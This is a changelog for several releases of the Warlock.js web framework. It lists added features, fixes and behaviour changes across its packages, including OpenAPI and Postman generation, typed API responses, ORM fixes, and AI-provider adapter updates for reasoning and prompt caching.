- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
5.28.0 October 1, 2026
Postman collections, Swagger UI, and fixes from production use. warlock generate.postman writes a Postman Collection v2.1.0 from the same OpenAPI document as generate.openapi (tag folders, example bodies, saved responses, {{baseUrl}}/{{token}}, bearer auth on guarded routes), and @warlock.js/devtools adds Swagger UI beside Scalar at /__warlock/docs/swagger with OpenAPI and Postman downloads. The web skills were audited against the code and expanded (page metadata, cookies, images, testing pages, hydration debugging), and every package's llms.txt now lists each skill with its description. Fixed: replacing or unsetting a nested object in Cascade no longer leaves empty parent objects; expected 4xx errors log one warn line instead of an error-level stack; v.object() output follows the declared key order; the per-site sitemap is served as application/xml; an empty nested-resource list outputs []. Behaviour changes: set("field", obj) writes the nested object as one value; 4xx errors log at warn. Lockstep release across all 31 packages. Generator matrix scope: none; before publishing, the blog on the 5.28.0 tarballs passed install, typecheck, a fresh migrate and seed, devtools in dev including the API docs (OpenAPI, Postman, Scalar, Swagger UI), a production build with browser smoke, and the --role=worker and --role=api starts; after publishing, the same check passed against npm.
Generator matrix: not run for this release.
- Added
warlock generate.postmanwrites a Postman Collection v2.1.0 (storage/postman/collection.json, or--out) derived from the same OpenAPI document asgenerate.openapi(options:--title,--server,--include-pages), so the two can never disagree. Each tag is a folder, each operation a request with an example body generated from its schema (JSON as raw, multipart as form-data), saved responses for every declared status,{{baseUrl}}and{{token}}collection variables, collection-level bearer auth forauthMiddleware()routes andnoauthon public ones.openApiToPostmanCollection(document, options?)is exported (pure, deterministic_postman_id), andgetDevelopmentPostmanCollection()returns the collection for the running dev process. - Fixed Expected client errors no longer fill logs with stack traces: a thrown error that resolves to a 4xx (an
HttpErrorsuch asConflictErrororResourceNotFoundError, or aDatabaseWriterValidationErrorconfigured below 500 viahttp.modelValidationErrorStatus) is logged once atwarnasName: message (status), without the stack. 5xx and unknown errors are logged aterrorwith the stack, as before. - Fixed A nested-resource field whose input is an empty list now outputs
[]; it used to drop the key.null/undefinedstill omit it.
- Added Swagger UI.
/__warlock/docs/swaggerrenders the same OpenAPI document with Swagger UI (Apache-2.0), and the dashboard's API tab has a Scalar | Swagger UI switch (Scalar stays the default; the choice is remembered in the browser). The prebuiltswagger-ui-dist5.33.0 bundle and stylesheet are vendored inui/vendor/swagger-ui/with their license and notice and served asassets/swagger-ui-bundle.jsandassets/swagger-ui.css, so apps install no extra dependencies. The schema validator badge is off, so the page makes no outside request. - Added Downloads in the API tab.
OpenAPI JSON(/__warlock/api/openapi.json) andPostman collectionlinks. - Added
GET /__warlock/api/postman.jsonreturns the Postman collection for the registered routes, built by core'sgetDevelopmentPostmanCollection(). It answers 503 when the host's core cannot build one, with the same dev-only, loopback-only guard.
- Fixed Replacing a nested object on MongoDB (
model.set("nested", obj).save()) now writes the whole new object with one$set, instead of diffing per leaf. Removing keys no longer leaves their parents behind as empty{}objects in the stored document. Dotted-path sets (set("nested.a", v)) andmerge()stay partial per-leaf updates, so concurrent writes to other keys still survive. SQL drivers already replace the whole JSON column and are unchanged. - Fixed
unset("nested.x")now removes the parents it empties (unset("a.b.c")on{ a: { b: { c: 1 } } }stores noa), and the update$unsets that parent rather than leaving{}. A parent is pruned only when that unset emptied it: an object stored or set as{}is left alone, and arrays are never pruned.unset("nested")removes the whole object.
- Fixed Multi-site apps: the per-site sitemap is served as
application/xml; it wastext/plain(the handler set the XML header, thenresponse.text()overwrote it).
- Fixed New apps: a failed AI-skills sync during install now prints a warning with the fix (the
skills:syncscript) instead of a silentskills-sync-skipped. - Fixed New apps:
AGENTS.mddescribes the app as full-stack (APIs plussrc/web/**pages) and points agents to thewarlock-js-webskill.
- Changed Lockstep release; package APIs are unchanged.
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed Lockstep release; package APIs are unchanged.
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed Lockstep release; package APIs are unchanged.
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed Lockstep release; package APIs are unchanged.
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed Lockstep release; package APIs are unchanged.
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed Lockstep release; package APIs are unchanged.
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed Lockstep release; package APIs are unchanged.
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed Lockstep release; package APIs are unchanged.
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed Lockstep release; package APIs are unchanged.
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed Lockstep release; package APIs are unchanged.
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed Lockstep release; package APIs are unchanged.
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed Lockstep release; package APIs are unchanged.
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed Lockstep release; package APIs are unchanged.
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed Lockstep release; package APIs are unchanged.
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed Lockstep release; package APIs are unchanged.
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Fixed
v.object()now emits its validated output (and reports child errors) in declared schema order instead of the order async field validators happened to finish, so output key order is deterministic; unknown keys kept byallowUnknown()follow the declared keys in input order.
- Changed Lockstep release; package APIs are unchanged.
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
5.27.0 October 1, 2026
Typed API responses, typed page data, OpenAPI, and reasoning with tools on GPT-6. Controllers declare responseSchema and the generated route types carry it: ApiResponse<"auth.login"> and useSubmitForm({ route }) know the response body, and undeclared routes stay unknown. defineResource() infers its output type, Serialized<T> describes what the client receives, and page loader data is typed as what actually reaches the page (models map to their resource automatically). Pages guarded by requireUser() get a non-null user in their loader and in useUser("route.name"). warlock generate.openapi writes an OpenAPI 3.1 file for Postman and Insomnia, and warlock dev adds interactive API docs at /__warlock/docs. @warlock.js/ai-openai adds the opt-in Responses API (api: "responses") so reasoning models can use tools with reasoning on, including streaming and reasoning carried across tool turns. Fixed: a promise nested in page loader data is now serialized after it settles (a model inside one made devalue throw). Behaviour changes: page data types are the serialized shape; @mongez/supportive-is 3.0 checkers are type predicates. Lockstep release across all 31 packages. Generator matrix scope: none; before publishing, the blog on the 5.27.0 tarballs passed install, typecheck, a fresh migrate and seed, devtools in dev, a production build with browser smoke, and the --role=worker and --role=api starts; after publishing, the same check passed against npm.
Generator matrix: not run for this release.
- Added Typed resource output.
defineResource()infers thetoJSON()output type from the schema's cast strings ("string?"isstring | null,"date"is the default{ iso; format; timestamp; humanTime }object, nested and"self"resources resolve to their own output). Read it withResourceOutput<typeof UserResource>. Whentransform/boot/builders change the shape, state it:defineResource<ProductJson>({ ... }). Builder fields areunknown. - Added
Serialized<T, W>: the type of what the client receives after Warlock serializesT, for API responses ("json", default) and page loader data ("devalue"). Dates become strings on JSON,toJSON()results are used, functions are dropped, and models map to their resource through the augmentableModelResourceRegistry. - Added Typed API responses from
handler.responseSchema. A response schema body now accepts cast strings with the resource suffixes ("number?","string[]","date[]?"), a resource,[resource]for an array, and nested plain objects.ResponseBodyOutput<B>andResponseSchemaOutput<S>give the body type per status code with the same rules asResourceOutput.warlock generate.typingsandwarlock devread the declared schema at runtime and hand each route's response types to the web route-types generator, so nothing is annotated by hand. - Added
NamedApiRoutehas an optionalresponsemap (status code to a TypeScript type expression), present only on routes that declareresponseSchema;router.getNamedApiRoutes()accepts aresolveResponseoption to attach it and still returns the plain{ name, path, method }records otherwise. Resources are mapped back to their*.resource.ts(x)export by identity; a resource defined inline or outside such a file is typedunknownwith a warning naming the route and field. The typings child and the dev server share one serializer, so both emit identical strings. - Added
responseSchemais now kept when a route is bound from an array handler ([controller, "action"]) or a restful resource method; the bound function used to lose it. - Added
warlock generate.openapiwrites an OpenAPI 3.1 document (storage/openapi/openapi.json, or--out) derived from the registered routes. Options:--title,--server,--include-pages. Paths use{param}templates andallroutes expand to every verb;validation.schemabecomes the request body (POST/PUT/PATCH) or query parameters (GET/HEAD/DELETE) according tovalidating, andvalidation.paramsbecomes typed path parameters. Responses come fromhandler.responseSchema(casts,"?"astype: [T, "null"], resources ascomponents.schemas$refs named after their export,[Resource]as an array); a route with no schema documents only a200description. A422(shaped byvalidation.response) is added when a route hasvalidation.schema, and a401when it is guarded. Fields that cannot be described statically (field builders, resolver functions) are documented as{}and listed as warnings; the command exits non-zero only when the app cannot be loaded. - Added Security schemes from
authMiddleware. Core reads theSymbol.for("warlock.auth")descriptor ({ sources: ("header" | { cookie: string })[], userTypes: string[] }) thatauthMiddleware()attaches and emitsbearerAuth/cookieAuthschemes only for the ones a route uses (header plus cookie is an OR). Middleware without a descriptor is ordinary middleware and produces no security entry. - Added
buildOpenApiDocument(routes, context)is exported: a pure function fromrouter.list()routes to a plain-JSON OpenAPI document plus awarningslist, so a dev tool can build the same document in-process. The CLI builds it inside the route-registration child process, so Seal instances never cross IPC; that child's fork, IPC and timeout handling is now a shared helper with no change towarlock build(WARLOCK_ROUTE_REGISTRATION_TIMEOUT_MSapplies to both). - Added
getDevelopmentOpenApiDocument()returns the same document for the routes registered in the running dev process (warlock devregisters the builder at startup; outside it the call throws), reusing the CLI child's builder (resource export map,package.jsoninfo,httpserver,validation.response).@warlock.js/devtoolscalls it to serve its API docs page at/__warlock/docs; warnings are logged once per process. - Added Models resolve to their resource in
Serialized.warlock generate.typingsandwarlock devnow write.warlock/typings/model-resources.d.ts, aModelResourceRegistryaugmentation with one entry per model class that declaresstatic resource = <Identifier>, soSerialized<User>is the resource output instead of the raw model data. The identifier is followed through the model file's own imports (named, aliased, default, tsconfig aliases) or its own declarations, by reading the source only; a computed expression,lazy(...), a generic or unexported model is left out and keeps the raw-data type. Duplicate class names get_2,_3keys, output is sorted, and the file is rewritten only when it changes. The app'stsconfig.jsonmust include.warlock/typings/*.d.ts(the scaffold already does). - Changed Dependency: @mongez/supportive-is 3.0 (type-predicate checkers).
- Added Typed API responses. Each generated
ApiRouteRegistryentry now carriesresponse: { 200: ...; 400: ... }when the route's handler declaresresponseSchema(the generator accepts an optionalresponseon the route snapshot and emits it verbatim). New public typesApiResponse<Name, Status = 200>(the declared body, orunknownwhen the route or status is undeclared, neverany),ApiResponses<Name>(the whole status map) andApiSuccessResponse<Name>(the union of declared 2xx bodies).useSubmitForm({ route: "auth.login" })now typesdata,responseandonSuccessfrom the route's declared 2xx body; path targets and explicituseSubmitForm<Schema, Data>calls are unchanged, and apps with noresponseSchemagenerate a byte-identical file. - Added Page, layout, app and metadata
datais now typed as what actually reaches the page:Serialized<LoaderReturn, "devalue">from@warlock.js/core, not the loader's raw return. A cascade model registered inModelResourceRegistryreads as its resource output,Date/Map/Set/RegExp/URLstay native, function keys are dropped, and a class instance withouttoJSONreads asnever(devalue would throw at render). Deferreddefer()keys stay promises whose settled value is serialized. Plain JSON-ish data is unchanged; the loader's own declared return type is untouched. - Added Guarded pages are typed as signed-in. The generator now reads whether a page is guarded by
requireUser()(imported from"@warlock.js/web/session", aliased imports included) as a direct element of a literalconfig.middlewarearray on the page, any layout on its chain, or the root, and emitsguard: "user"on thatPageRouteRegistryentry (nothing is emitted for an unguarded page, so existing generated files are byte-identical; spreads, identifiers, conditionals, wrapper calls,requireGuest()andconfig.action.middlewaredo not count, and the not-found page is never guarded). A newGuardedPageRouteNametype lists those names. For a guarded page,PageLoaderContext<Validation, typeof route>(andPageLoader) now typesessionas non-optional{ user, model }with neither field null andrequest.locals.useras non-null; the route name is read fromtypeof routeor passed as a third type argument (PageLoaderContext<undefined, undefined, "account.show">). Unguarded pages, layout and app loaders, and page actions are unchanged. The dev route-type writer now keepsguardandactionsinstead of dropping them on a rewrite. - Added
useUser("account.show"): pass a guarded page's route name to get a non-nullSessionUser(any other name fails to compile). The name also opts the component in to keeping the last signed-in user while it stays mounted, so a sign-out that flips the store to a guest a frame before navigation completes no longer handsnullto a component that readsuser.name. PlainuseUser()is unchanged and still returnsnullfor a guest. - Fixed Page data: a promise nested in a loader's data (not a
defer()key) is awaited and its settled value is now serialized too, so a model or resource resolved from a promise reaches the page as itstoJSON()output instead of making devalue throw.
- Added Responses API (opt-in).
sdk.model({ name, api: "responses" })routes an OpenAI model through/v1/responses, so a reasoning model (gpt-5 family, o-series, gpt-6) can use function tools with reasoning on. Chat Completions stays the default and is unchanged. Underapi: "responses"reasoning uses the provider default even when tools are attached (more reasoning tokens and latency than the Chat path, which forces reasoning off with tools); the system prompt is sent asinstructions; requests usestore: false;pdf/audioinputs are off. Only theopenaiprovider accepts it: the DeepSeek, Groq, xAI and Mistral adapters rejectapi: "responses". - Added Responses streaming.
stream()works underapi: "responses"and yields the same chunks as the Chat path: text deltas (refusal text included), then the tool calls, then onedonewith the finish reason and usage. Aresponse.failedorerrorevent mid-stream throws the same typed error as a failed request. - Added Reasoning replay across tool turns. Every Responses request asks for
include: ["reasoning.encrypted_content"]. The reasoning items of a tool-calling turn are saved on the first tool call (providerMetadata.openaiResponses = { model, reasoningItems }) and sent back before that turn's function calls on the next request, so the model keeps its own reasoning while it works through tools, with nothing stored on OpenAI's side. Replay is skipped when the model changed, and turns without a tool call are not replayed. The encrypted reasoning items are stored with the conversation history (memory or session store), so expect larger stored messages; there is no size cap. The Chat path and the other adapters ignore the key.
- Added API docs page.
/__warlock/docsrenders the app's OpenAPI 3.1 document with Scalar, and the dashboard has a new API tab that shows it. The document comes fromGET /__warlock/api/openapi.json, built in-process by core'sbuildDevelopmentOpenApiDocument()from the routes already registered (the same generator aswarlock generate.openapi); it answers 503 when the host provides none. Everything stays behind the existing dev-only, loopback-only guard. - Added The API docs page uses Scalar (MIT). Its prebuilt browser bundle (1.72.2) is vendored in
ui/vendor/scalar/and served asassets/scalar.js, so apps install no extra dependencies. Nothing is fetched from a CDN, and the page turns off Scalar's web fonts, telemetry, AI agent and MCP so it makes no outside request.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Added
authMiddleware()now tags the middleware it returns with a non-enumerable, frozen, JSON-safe descriptor underSymbol.for("warlock.auth")({ sources, userTypes }), exported asAUTH_MIDDLEWARE_DESCRIPTOR/AuthMiddlewareDescriptor, so other tooling can read a route's resolved credential sources and allowed user types without changing runtime behavior.
- Changed Lockstep release; package APIs are unchanged.
- Changed Dependency: @mongez/supportive-is 3.0 (type-predicate checkers).
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Dependency: @mongez/supportive-is 3.0 (type-predicate checkers).
- Changed Lockstep release; package APIs are unchanged.
- Changed Generated apps depend on
@mongez/supportive-is^3.0.0 (type-predicate checkers). Lockstep release; package APIs are otherwise unchanged.
5.26.0 September 30, 2026
Security upgrades, module locales.json, typed URLs, and loaders that return resources. Fastify and its plugins move up a major for security fixes (only router.directory() setHeaders callers change code: use reply.header()). Modules register translations from utils/locales.json; warlock doctor --fix converts legacy locales.ts, which is deprecated for v6. Route params validate with validation.params (v.int() turns :id into a number). href(), navigateTo() and the new apiHref() take { name, params, query }. Page and layout loaders can return resources, serialized like response bodies. whereTrusted() allows code-authored Mongo operators, auth cookies can be scoped per request with cookieDomain(request), and the AI adapters gain wider reasoning-effort levels, prompt caching controls and correct parameters for current Claude and OpenAI reasoning models. Behaviour changes: IPv6 rate limits group by /64, package migrations run before app migrations, navigateTo() hard-navigates before hydration, and request.user and RequestUserMovedError are removed (use request.locals.user). t(), request.t() and request.trans() are typed as string. Lockstep release across all 31 packages. Generator matrix scope: none; before publishing, the blog on the 5.26.0 tarballs passed install, typecheck, a fresh migrate and seed, devtools in dev, a production build with browser smoke, and the --role=worker and --role=api starts.
Generator matrix: not run for this release.
- Added
http.rateLimit.ipv6Subnetsets the IPv6 prefix length the global rate limiter groups clients by (default64). - Added Module
src/app/<module>/utils/locales.jsondictionaries register translations with the module folder as their default group; root$groupoverrides it. Dictionaries strictly validate their JSON and translation shape, and reject duplicate key ownership.utils/locales.tsstill works but is deprecated and will be removed in v6 (its warning ships separately). - Added
parseLocaleDictionary()is public for tooling that needs to validate and flatten a module locale dictionary without loading application code. - Added
validation.paramsvalidates route parameters with a Seal object schema. Number and boolean validators coerce the string segments, the parsed values replacerequest.params, and they merge into the validated data (params win over body keys). Failures answer like a body-schema failure. Routes withoutparamsstill see raw strings. - Added
warlock doctorwarns about each legacyutils/locales.tsfile, andwarlock doctor --fixconverts the safe ones (a singlegroupedTranslationscall with a literal object) tolocales.json. It checks the JSON flattens to the same keys before deleting the.tsfile. Anything else is reported as a manual migration with the reason. Comments in the converted file are not kept. - Changed Development now warns once when it auto-loads legacy module
utils/locales.tsfiles, andwarlock add accessnow writes its access translation tosrc/app/access/utils/locales.json. - Changed Behaviour change: rate limits group IPv6 clients by their
/64network, and IPv4-mapped addresses (::ffff:1.2.3.4) count as the IPv4 address. This applies to the global limiter and to the per-routerateLimit()middleware. Before, a client could rotate through addresses in its own/64to get a fresh bucket each time. Users behind one IPv6/64, such as one home or office, now share a bucket. - Changed
response.clearCookie()now also sendsMax-Age=0alongside the pastExpiresdate. - Fixed
warlock generate.typingshonoursbuild.routeRegistrationTimeoutMs/WARLOCK_ROUTE_REGISTRATION_TIMEOUT_MS, likewarlock build. It always used 30 seconds, sogenerate.typings && tsc && warlock buildcould fail on a loaded machine even with a longer timeout configured. - Fixed
request.t(),request.trans()andt()are typed as returningstring(they wereany), sotitle: request.t("...")type-checks without aString(...)wrapper. - Fixed
warlock migrateruns package migrations (such as @warlock.js/auth's token tables) before your app's migrations, whatever their dates. On a fresh database, an app migration that alters a package table used to run before the table existed. The order inside each group is unchanged. - Fixed
startHttpTestServer({ web: false })now starts an API-only test server: it skips the optional web connector before its lazy lifecycle delegate constructsWebConnectoror creates Vite. Omitting the option preserves the existing full-stack startup. - Fixed
response.cookie()truncates a fractionalmaxAgeto whole seconds.@fastify/cookie11 rejects a non-wholemaxAge, so a computed value such asttl / 1000used to fail the response. - Removed BREAKING (only if something still reads
request.user): therequest.usergetter andRequestUserMovedError, the development-time diagnostic kept since the 5.12.0 move. The user lives atrequest.locals.user(set by@warlock.js/auth); TypeScript now reports any remainingrequest.user.
- Added
href(name, { params, query })now supports an object form alongside its positional arguments;navigateTo({ name, params, query })and newapiHref(name, { params, query })keep generated page/API route names and required path params type-safe while using the shared query-string grammar. Object form is reserved for objects containing only object-shapedparams/queryoptions, so route params literally namedparamsorqueryremain positional. - Changed Behaviour change: in a browser with no client runtime connected (before hydration),
navigateTo()now starts a real browser navigation (location.assign, orlocation.replacewithreplace: true) and returnstrue. It used to returnfalseand do nothing, so apps wrote that fallback by hand. On the server it still returnsfalse. - Fixed Page and layout loaders can now return resources and other class instances with
toJSON(); their JSON representation is used safely in hydration and deferred page-data payloads. - Fixed Initial client hydration now seeds
useUser()from the session payload before React's first render, preventing signed-in server markup from mismatching the client. - Fixed Production
/assets/*responses setVary: Accept-Encodingthrough the Fastify reply. With@fastify/static10, the old callback threw on every asset request, so production pages loaded without their scripts and styles.
- Changed
ReasoningEffortnow accepts"none" | "minimal" | "low" | "medium" | "high" | "xhigh" | "max". Adapters clamp unsupported values to their nearest supported provider level rather than rejecting a request.
- Added
thinkingMode: "adaptive" | "budget"onanthropic.model({ ... })overrides the thinking shape inferred from the model name. Use it for gateway model ids that don't follow Anthropic's naming, or to move Opus/Sonnet 4.6 onto adaptive thinking. It also decides whethertemperatureis sent. TheAnthropicThinkingModetype is exported. - Added
promptCaching: truenow enables Anthropic's request-level automatic cache placement when a call has no explicit cache breakpoint, so the longest reusable prefix is cached.promptCacheTtl?: "5m" | "1h"controls the TTL for automatic and explicit cache markers; omission keeps Anthropic's five-minute default. - Fixed Adaptive Claude reasoning now maps
minimaltooutput_config.effort: "low"and supportsxhighandmax; budget-mode models map them to 1,024, 24,000, and 32,000 thinking tokens respectively. - Fixed Claude reasoning-token usage is now included in responses when the API reports it, including streamed responses.
- Fixed Responses stopped because the model context window was exceeded now report a length finish reason.
- Fixed Behaviour change: Reasoning now works on current Claude models. Claude Opus 4.7, 4.8, 5 and 5.5, Sonnet 5 and 5.5, Fable 5 and 5.1, and any model id the adapter does not recognise now get
thinking: { type: "adaptive" }withoutput_config.effort(low,mediumorhigh, taken fromreasoning.effort;mediumwhen onlyreasoning.maxTokensis given). Before, every model gotbudget_tokens, which these models reject with a 400. Claude Haiku 4.5, Opus 4.6, Sonnet 4.6 and older models keep thebudget_tokensshape. The defaultmax_tokensis unchanged in both modes. - Fixed Behaviour change:
temperatureis no longer sent to models released after Claude Opus 4.6 (the same adaptive-thinking models listed above), because they reject any value other than the default with a 400. Haiku 4.5, the 4.6 models and older models still receive it. - Fixed Behaviour change: Claude 5-series models (
claude-opus-5*,claude-sonnet-5*,claude-fable-5*,claude-mythos-5*) are now recognised as vision-capable, so image attachments are no longer rejected for them.
- Changed
reasoning.effortnow accepts every OpenAI SDK 7.23.0reasoning_effortlevel:none,minimal,low,medium,high,xhigh, andmax. - Changed OpenAI-labelled Chat Completions models now support explicit prompt caching:
promptCacheKey,promptCacheRetention, andcacheControl.breakpointsmap to the OpenAI SDK's request fields. These fields are deliberately omitted for OpenAI-compatible wrapper providers. - Changed Capability inference now recognizes the GPT-6 family as reasoning- and vision-capable, plus GPT-5 and o4 as vision-capable.
- Changed Behaviour change: requests send
max_completion_tokensand never the legacymax_tokens, which current OpenAI models (the gpt-5 family and later) reject with400 unsupported_parameter.maxTokensin config and call options is unchanged. - Changed Reasoning-capable models (o-series, gpt-5 family) no longer receive
temperature; they accept only the default value and reject any other. - Fixed A provider error now keeps the parameter OpenAI rejected (
context.param) and the request id (context.requestId, read from the SDK'srequestID), next to the status and code.
- Added
whereTrusted(conditions)on the query builder contract applies a code-authored filter without the unsafe-operator check, so MongoDB operators such as$inand$ltpass through. Never pass request input to it. The PostgreSQL builder throwsUnsupportedQueryOperationErrorfor operator objects, because itswhere()parser would otherwise bind them as plain values. Custom query builders must implement the new method. - Added Migrations can be registered with an origin (
"package"or"app"). Package migrations run before every app migration while preserving the existingorder,createdAt, and name sort within each partition. Directregister()calls default to"app". - Fixed Migrations now reject colliding unnamed index definitions before sending DDL to MongoDB or PostgreSQL, with guidance to provide an explicit index name. Declarative alter migrations with a custom
up()but nodown()now emit one rollback warning. - Fixed
trustedFilter: truenow works onatomic(),findOneAndUpdate()andfindAndUpdate()with an operator filter such as{ id: { $in: ids } }. The scoped-write lookup re-ran the filter throughwhere(), which rejected the operator, so these calls threwUnsafeFilterErroreven when the filter was trusted. Global scopes (tenant, soft delete) still apply to the write.findAndUpdate()now acceptstrustedFilter.
- Changed Lockstep release; package APIs are unchanged.
- Changed Map all neutral reasoning effort levels to valid Bedrock extended-thinking budgets.
- Changed Lockstep release; package APIs are unchanged.
- Changed Clamp all neutral reasoning effort levels to Gemini thinking budgets, preserving the adapter's 24,576-token supported ceiling.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Clamp neutral reasoning effort levels to Ollama's supported
thinkliterals.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Added Cookie sessions now support
auth.cookie.cookieDomain(request)andpageSession/sessionMiddleware'scookieDomain(request)override. Returning a Domain scopes issued and renewed cookies to it; returningundefinedpreserves host-only cookies. Clearing a Domain-scoped session also clears the legacy host-only cookie names. When configured, passrequesttosetSessionCookies(response, tokens, request),clearSessionCookies(response, request), andclearAuthCookie(response, options, request); omitting it throwsCookieDomainRequestRequiredErrorrather than issuing or clearing a host-only cookie.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Dependencies:
fastify^5.12.5 (security fixes).
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Dependencies:
fastify^5.12.5 (security fixes).@bull-board/*^9.10.2.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Fixed The generated
src/config/app.tsfalls back toWarlockas the app name whenAPP_NAMEis unset (it saidMongez). New apps still get their project name in.env.
5.25.0 September 29, 2026
Devtools, deploy in parts, and the first release built on GitHub Actions. The new @warlock.js/devtools adds a development dashboard at /__warlock: each request's phases, SQL and MongoDB queries with EXPLAIN, cache and log activity, captured mails and N+1 warnings. Add it with warlock add devtools; warlock dev loads it automatically and production never mounts it. warlock start --role=api|web|worker and --sites=a,b run one build as separate processes. Pages get per-locale alternates metadata and the matched route in loaders and actions; setupTest({ importModule }) loads app modules through Vitest's module graph. Behaviour changes: model-write validation failures answer 500 by default (configurable with http.modelValidationErrorStatus), and blank form values count as missing for non-string validators. Fixes include MongoDB upserts assigning auto ids, a clear UnsupportedLockForUpdateError on MongoDB, nullable objects in seal, warlock seed and migrate skipping test files, and plugin routes keeping their params in dev. Lockstep release across all 31 packages. Generator matrix scope: none; before publishing, the blog on the 5.25.0 tarballs passed install, typecheck, a fresh migrate and seed, devtools in dev, a production build with browser smoke, and the --role=worker and --role=api starts.
Generator matrix: not run for this release.
- Added New package. A development-only dashboard served at
/__warlock: request timeline, queries with EXPLAIN, N+1 detection, dev mailbox, logs, cache operations and the route map. It refuses to run outside development and answers only loopback clients.
- Added
registerTracingHooks()lets development tools subscribe to HTTP tracing at runtime, and phase tracing now includes each phase'sstartedAttimestamp. - Added
